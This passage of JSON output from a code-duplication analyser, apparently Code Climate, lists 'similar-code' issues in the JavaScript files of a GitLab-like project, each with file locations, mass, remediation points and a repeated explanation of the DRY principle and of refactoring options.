refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/monitoring/services/monitoring_service.js","lines":{"begin":34,"end":41}},"remediation_points":1620000,"other_locations":[{"path":"app/assets/javascripts/monitoring/services/monitoring_service.js","lines":{"begin":48,"end":55}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 89**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d4a3e547360e709e6f65d844f47d2578","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/monitoring/services/monitoring_service.js","lines":{"begin":48,"end":55}},"remediation_points":1620000,"other_locations":[{"path":"app/assets/javascripts/monitoring/services/monitoring_service.js","lines":{"begin":34,"end":41}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 89**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d4a3e547360e709e6f65d844f47d2578","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":2,"end":14}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":27,"end":39}},{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":85,"end":97}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ac500b1ccac9075c6ed2fffbc9b3961c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":27,"end":39}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":2,"end":14}},{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":85,"end":97}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ac500b1ccac9075c6ed2fffbc9b3961c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":85,"end":97}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":2,"end":14}},{"path":"app/assets/javascripts/cycle_analytics/default_event_objects.js","lines":{"begin":27,"end":39}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ac500b1ccac9075c6ed2fffbc9b3961c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/groups/store/groups_store.js","lines":{"begin":46,"end":57}},"remediation_points":1530000,"other_locations":[{"path":"app/assets/javascripts/pipelines/stores/pipelines_store.js","lines":{"begin":20,"end":31}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 86**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ac70092b1281d03613501e7bff10586e","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pipelines/stores/pipelines_store.js","lines":{"begin":20,"end":31}},"remediation_points":1530000,"other_locations":[{"path":"app/assets/javascripts/groups/store/groups_store.js","lines":{"begin":46,"end":57}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 86**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d99660a2eda83bcadef8b0ab894abe34","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/badges/store/actions.js","lines":{"begin":28,"end":39}},"remediation_points":1500000,"other_locations":[{"path":"app/assets/javascripts/badges/store/actions.js","lines":{"begin":142,"end":153}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 85**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2d5915d3ead3c5d344920b58d2d29398","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/badges/store/actions.js","lines":{"begin":142,"end":153}},"remediation_points":1500000,"other_locations":[{"path":"app/assets/javascripts/badges/store/actions.js","lines":{"begin":28,"end":39}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 85**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2d5915d3ead3c5d344920b58d2d29398","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":58,"end":62}},"remediation_points":600000,"other_locations":[{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":78,"end":82}},{"path":"app/assets/javascripts/sidebar/stores/sidebar_store.js","lines":{"begin":77,"end":81}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 55**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6bca973f7e7c682a30bc1ec4bf9bd764","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":78,"end":82}},"remediation_points":600000,"other_locations":[{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":58,"end":62}},{"path":"app/assets/javascripts/sidebar/stores/sidebar_store.js","lines":{"begin":77,"end":81}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 55**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6bca973f7e7c682a30bc1ec4bf9bd764","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/sidebar/stores/sidebar_store.js","lines":{"begin":77,"end":81}},"remediation_points":600000,"other_locations":[{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":58,"end":62}},{"path":"app/assets/javascripts/boards/models/issue.js","lines":{"begin":78,"end":82}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 55**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"0eb61104cf3e71a06f399141f9b4fa0d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":50,"end":53}},"remediation_points":600000,"other_locations":[{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":139,"end":142}},{"path":"app/assets/javascripts/jobs/store/actions.js","lines":{"begin":162,"end":165}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 55**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ab644c43df256102910e1758c76cc0b5","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider 